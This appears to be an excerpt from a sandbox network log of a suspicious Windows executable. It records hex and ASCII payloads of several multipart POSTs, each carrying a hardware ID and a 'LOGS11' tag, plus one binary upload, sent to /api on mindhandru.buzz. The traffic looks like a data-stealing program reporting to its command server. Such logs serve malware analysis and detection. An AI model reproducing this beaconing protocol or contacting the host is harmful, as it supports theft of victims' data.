2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 54 41 6c 69 6b 79 48 33 6b 39 48 44 35 4f 6d 65 56 64 78 4a 50 38 49 62 76 71 59 47 39 64 35 43 75 4a 45 4d 4c 30 30 4a 64 6b 30 39 4c 52 4d 48 6b 52 66 33 6c 46 64 51 6e 66 72 56 54 66 31 61 39 74 68 65 78 2f 65 56 75 73 4d 38 67 4f 69 2f 54 63 30 53 36 55 30 73 6f 78 64 77 70 78 63 6b 39 73 51 70 66 74 56 74 57 53 2b 79 65 34 36 47 46 6b 57 2b 51 2b 68 68 72 4c 34 63 4b 58 66 64 71 66 6c 6e 42 31 41 44 55 6c 42 45 39 65 6d 71 31 4d 69 59 79 33 4b 72 75 72 4d 53 6c 62 35 69 47 49 42 63 2f 31 32 35 4a 34 33 4e 72 51 4e 48 67 56 65 6e 5a 4f 64 30 47 52 34 6c 62 50 6e 76 45 6a 74 75 31 6c 5a 42 69 69 62 49 45 50 69 36 75 51 74 6d 7a 5a 32 63 38 68 52 78 39 31 4c 41 52 68 42 34 69 74 56 4d 76 56 72 32 32 36 35 32 4e 6b 58 65 67 6b 67 52 54 4b 2f 39 53 63 65 Data Ascii: TAlikyH3k9HD5OmeVdxJP8IbvqYG9d5CuJEML00Jdk09LRMHkRf3lFdQnfrVTf1a9thex/eVusM8gOi/Tc0S6U0soxdwpxck9sQpftVtWS+ye46GFkW+Q+hhrL4cKXfdqflnB1ADUlBE9emq1MiYy3KrurMSlb5iGIBc/125J43NrQNHgVenZOd0GR4lbPnvEjtu1lZBiibIEPi6uQtmzZ2c8hRx91LARhB4itVMvVr22652NkXegkgRTK/9Sce
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 77 66 42 56 7a 66 45 56 32 51 5a 48 72 57 63 4f 57 2f 69 36 77 34 6d 39 69 57 2b 59 6a 67 52 48 50 38 39 75 57 65 4e 4c 61 30 7a 6b 79 56 6a 56 36 58 44 34 52 30 63 74 77 31 59 66 46 49 37 54 77 4b 58 59 57 39 57 79 42 47 34 75 72 6b 4a 70 2b 32 38 33 64 4f 58 6f 63 66 48 31 41 64 45 53 57 37 56 62 4b 6b 50 4d 6a 73 2b 78 70 5a 56 66 72 4a 49 6b 54 79 2f 79 51 33 7a 62 54 78 35 68 6f 4d 6a 68 2b 61 32 56 77 51 6f 4f 74 54 49 6d 4d 74 79 71 37 71 7a 45 70 56 75 55 74 6a 68 6e 48 2b 39 53 44 64 74 2f 57 31 7a 46 39 47 48 5a 38 54 6e 5a 62 6c 2b 31 59 7a 35 4c 2f 4b 62 6e 35 61 47 59 59 6f 6d 79 42 44 34 75 72 6b 4b 42 67 30 39 6a 58 63 6c 73 66 62 6e 78 4f 66 55 4b 64 72 55 79 4a 6a 4c 63 71 75 36 73 78 4b 56 58 67 49 59 49 46 78 2f 50 51 6d 48 48 65 7a 64 Data Ascii: wfBVzfEV2QZHrWcOW/i6w4m9iW+YjgRHP89uWeNLa0zkyVjV6XD4R0ctw1YfFI7TwKXYW9WyBG4urkJp+283dOXocfH1AdESW7VbKkPMjs+xpZVfrJIkTy/yQ3zbTx5hoMjh+a2VwQoOtTImMtyq7qzEpVuUtjhnH+9SDdt/W1zF9GHZ8TnZbl+1Yz5L/Kbn5aGYYomyBD4urkKBg09jXclsfbnxOfUKdrUyJjLcqu6sxKVXgIYIFx/PQmHHezd
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 65 58 64 44 63 46 75 51 35 31 2f 47 6b 76 41 6d 70 65 42 37 59 6c 44 76 49 6f 34 65 79 2f 33 51 6b 48 76 55 6e 35 5a 77 64 51 41 31 4a 51 52 62 61 6f 62 37 57 59 57 32 34 44 75 39 37 47 56 2f 55 2b 30 76 6b 42 72 62 73 35 37 52 5a 39 50 4f 6d 47 68 6b 43 47 4a 36 57 7a 42 51 30 65 70 66 68 38 32 33 4a 72 6a 6c 5a 47 4a 63 35 53 6d 4f 46 4d 37 32 32 70 31 36 31 64 66 52 4f 6e 63 64 63 33 64 48 63 45 61 51 34 56 66 4f 6d 2f 35 74 2b 61 74 75 63 52 69 30 62 4c 41 48 7a 4f 76 64 67 54 54 6d 33 4d 6b 68 5a 78 56 6c 65 77 5a 52 53 70 33 75 56 73 43 46 74 7a 4c 35 38 69 6c 75 56 4b 78 30 78 68 66 50 2f 39 4f 57 65 4e 76 53 31 7a 64 35 46 33 39 7a 56 6e 46 4d 6d 65 46 62 79 6f 66 39 4a 36 58 69 59 47 52 57 35 44 36 46 56 34 57 7a 31 34 6b 32 6a 4a 2f 71 4f 6e 45 Data Ascii: eXdDcFuQ51/GkvAmpeB7YlDvIo4ey/3QkHvUn5ZwdQA1JQRbaob7WYW24Du97GV/U+0vkBrbs57RZ9POmGhkCGJ6WzBQ0epfh823JrjlZGJc5SmOFM722p161dfROncdc3dHcEaQ4VfOm/5t+atucRi0bLAHzOvdgTTm3MkhZxVlewZRSp3uVsCFtzL58iluVKx0xhfP/9OWeNvS1zd5F39zVnFMmeFbyof9J6XiYGRW5D6FV4Wz14k2jJ/qOnE
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 48 31 4d 6c 74 4e 74 79 5a 4c 6a 4b 72 6e 74 61 53 6b 57 72 43 50 47 54 2f 4b 7a 6d 4e 46 4a 6d 70 2f 41 63 43 70 59 51 48 35 4b 63 45 36 48 2f 42 37 6b 67 75 45 6e 72 4b 6c 50 62 6b 6e 6c 4f 6f 73 46 69 37 32 51 6c 7a 61 4d 6a 35 5a 77 64 67 6b 31 4a 52 51 73 45 73 53 2b 42 4a 66 48 36 47 4f 75 71 33 38 70 41 4c 35 69 78 67 57 4c 71 35 44 57 64 63 62 4e 33 6a 4e 6b 47 7a 4a 44 65 6c 35 43 68 2b 78 65 7a 4a 6e 4a 45 36 4c 6f 5a 32 64 66 2b 6a 33 47 57 59 76 38 6b 4d 6c 50 6c 4a 65 59 44 7a 78 59 62 54 30 63 50 6e 79 53 34 31 33 41 67 2b 5a 67 6c 2b 42 2f 61 46 58 6e 49 4d 51 57 78 75 50 58 30 54 69 55 32 5a 68 6f 49 6c 59 31 65 56 55 2b 45 63 47 2f 43 4a 4c 47 6f 48 33 6c 39 43 64 77 47 50 70 73 33 6b 57 46 73 38 4c 52 4c 70 53 59 32 79 4a 67 48 6e 5a 72 Data Ascii: H1MltNtyZLjKrntaSkWrCPGT/KzmNFJmp/AcCpYQH5KcE6H/B7kguEnrKlPbknlOosFi72QlzaMj5Zwdgk1JRQsEsS+BJfH6GOuq38pAL5ixgWLq5DWdcbN3jNkGzJDel5Ch+xezJnJE6LoZ2df+j3GWYv8kMlPlJeYDzxYbT0cPnyS413Ag+Zgl+B/aFXnIMQWxuPX0TiU2ZhoIlY1eVU+EcG/CJLGoH3l9CdwGPps3kWFs8LRLpSY2yJgHnZr
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 47 6a 45 38 48 56 72 33 2f 35 71 32 31 34 47 4c 52 38 31 45 79 65 6f 49 66 42 4a 4d 75 52 77 58 42 6b 57 43 30 76 43 6a 35 62 30 62 55 54 67 4a 62 6c 50 37 48 6f 66 32 6f 66 30 68 4b 67 46 4d 7a 31 30 35 39 68 78 5a 33 33 4d 33 6b 55 65 58 70 53 51 48 65 45 37 6c 33 4a 6b 75 45 38 39 36 55 70 5a 68 69 30 46 63 59 47 77 66 53 63 32 54 72 46 7a 4e 59 37 5a 42 38 31 51 67 6f 2b 55 64 47 31 45 2f 4b 57 2b 53 4f 77 2f 58 67 6b 66 75 38 72 67 42 54 46 35 4d 48 52 4f 4a 54 5a 6d 47 67 67 56 6a 56 35 56 54 34 52 77 62 38 49 6b 73 61 67 66 65 58 30 4a 33 41 59 2b 6d 7a 65 52 49 57 7a 77 74 45 75 6c 4a 6a 57 50 58 4d 62 65 33 35 57 62 45 2b 53 2b 31 43 41 71 38 6b 49 75 75 5a 73 5a 31 2f 53 45 71 63 64 32 2f 37 66 6c 6b 6a 71 36 4d 6b 33 59 6c 70 54 66 6c 4a 39 43 Data Ascii: GjE8HVr3/5q214GLR81EyeoIfBJMuRwXBkWC0vCj5b0bUTgJblP7Hof2of0hKgFMz1059hxZ33M3kUeXpSQHeE7l3JkuE896UpZhi0FcYGwfSc2TrFzNY7ZB81Qgo+UdG1E/KW+SOw/Xgkfu8rgBTF5MHROJTZmGggVjV5VT4Rwb8IksagfeX0J3AY+mzeRIWzwtEulJjWPXMbe35WbE+S+1CAq8kIuuZsZ1/SEqcd2/7flkjq6Mk3YlpTflJ9C

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49709	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:27 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6c 6e 37 69 4e 48 45 5a 58 45 4b 59 5a 70 4f 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 39 61 37 65 33 39 64 34 64 31 65 30 65 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ln7iNHEZXEKYZpOm.1Context: b99a7e39d4d1e0e5
2024-12-27 14:05:27 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:05:27 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6c 6e 37 69 4e 48 45 5a 58 45 4b 59 5a 70 4f 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 39 61 37 65 33 39 64 34 64 31 65 30 65 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ln7iNHEZXEKYZpOm.2Context: b99a7e39d4d1e0e5<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:05:27 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6c 6e 37 69 4e 48 45 5a 58 45 4b 59 5a 70 4f 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 39 61 37 65 33 39 64 34 64 31 65 30 65 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ln7iNHEZXEKYZpOm.3Context: b99a7e39d4d1e0e5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:05:27 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:05:27 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 6d 67 30 4e 4c 71 33 6b 30 53 57 5a 43 46 76 41 7a 38 64 58 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Zmg0NLq3k0SWZCFvAz8dXw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:28 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XZ05XVO2ITW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: mindhandru.buzz
2024-12-27 14:05:28 UTC	12823	OUT	Data Raw: 2d 2d 58 5a 30 35 58 56 4f 32 49 54 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 58 5a 30 35 58 56 4f 32 49 54 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 5a 30 35 58 56 4f 32 49 54 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 5a 30 35 58 56 4f 32 49 54 57 Data Ascii: --XZ05XVO2ITWContent-Disposition: form-data; name="hwid"3C72C9CA495092A3BEBA0C6A975F1733--XZ05XVO2ITWContent-Disposition: form-data; name="pid"2--XZ05XVO2ITWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XZ05XVO2ITW
2024-12-27 14:05:30 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=88olv4b2lnst404vaufq95f45l; expires=Tue, 22 Apr 2025 07:52:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tav%2B0pg17LYvnHt7FippA2KjJMJ3rxVj2M33%2Bi%2Fo5IMzLycdbmPOVJlSClfoknGyKQdfr8j0lfrRQDTBU4uGK79KE2AKl0wCfCAI705L%2BEh1Bs1wKo1AOKTRVLebeSvFCRM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89dda0493c42fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2085&min_rtt=2075&rtt_var=798&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13755&delivery_rate=1354359&cwnd=69&unsent_bytes=0&cid=c55aff3e15396e46&ts=1365&x=0"
2024-12-27 14:05:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:05:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49712	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:31 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KJLT9C2N3SKP8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: mindhandru.buzz
2024-12-27 14:05:31 UTC	15081	OUT	Data Raw: 2d 2d 4b 4a 4c 54 39 43 32 4e 33 53 4b 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 4a 4c 54 39 43 32 4e 33 53 4b 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 4a 4c 54 39 43 32 4e 33 53 4b 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 4a 4c 54 39 Data Ascii: --KJLT9C2N3SKP8Content-Disposition: form-data; name="hwid"3C72C9CA495092A3BEBA0C6A975F1733--KJLT9C2N3SKP8Content-Disposition: form-data; name="pid"2--KJLT9C2N3SKP8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--KJLT9
2024-12-27 14:05:32 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gokf4uhkfbs2nldr4j48r5adsg; expires=Tue, 22 Apr 2025 07:52:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eejGKn%2BBqYcHG5tSSo6cV1%2Bov2IkGlg6udwwpv80AzUdCum9QW45Y89aJb%2Bs0vSNLNjq6iZaDDL7E3Ao%2B8PNZYd6iuZiO9Qk1xeemaQc91R36KDXUPjxk243Nuo6vlKX%2Bvg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89ddb12f85435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1976&rtt_var=747&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16015&delivery_rate=1457813&cwnd=240&unsent_bytes=0&cid=49780d8845156918&ts=982&x=0"
2024-12-27 14:05:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:05:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49718	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:33 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5U8UHL11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: mindhandru.buzz
2024-12-27 14:05:33 UTC	15331	OUT	Data Raw: 2d 2d 35 55 38 55 48 4c 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 35 55 38 55 48 4c 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 55 38 55 48 4c 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 55 38 55 48 4c 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --5U8UHL11Content-Disposition: form-data; name="hwid"3C72C9CA495092A3BEBA0C6A975F1733--5U8UHL11Content-Disposition: form-data; name="pid"3--5U8UHL11Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5U8UHL11Content-Di
2024-12-27 14:05:33 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-27 14:05:34 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3qdob0mj3hm81u1ahscjtvrub; expires=Tue, 22 Apr 2025 07:52:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5qtWzPu1cr9xrrga3qEvN%2BlBAd3oF7d9%2B4cHQ%2FcbEGvTZv8kne3vok9MUFjBLvRmhSMT%2FtN5vNaLi4nq2jb7I0meypeKj2jBajWrpIZH%2Bsj92TgwT3Da6x5eo9ZBrAQyOU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89ddc01e4842ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1619&rtt_var=630&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2837&recv_bytes=20860&delivery_rate=1706604&cwnd=143&unsent_bytes=0&cid=864386c7e866d6d2&ts=968&x=0"
2024-12-27 14:05:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:05:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49725	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:36 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VUM83BTN3M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1189 Host: mindhandru.buzz
2024-12-27 14:05:36 UTC	1189	OUT	Data Raw: 2d 2d 56 55 4d 38 33 42 54 4e 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 55 4d 38 33 42 54 4e 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 55 4d 38 33 42 54 4e 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 55 4d 38 33 42 54 4e 33 4d 0d 0a 43 6f Data Ascii: --VUM83BTN3MContent-Disposition: form-data; name="hwid"3C72C9CA495092A3BEBA0C6A975F1733--VUM83BTN3MContent-Disposition: form-data; name="pid"1--VUM83BTN3MContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--VUM83BTN3MCo
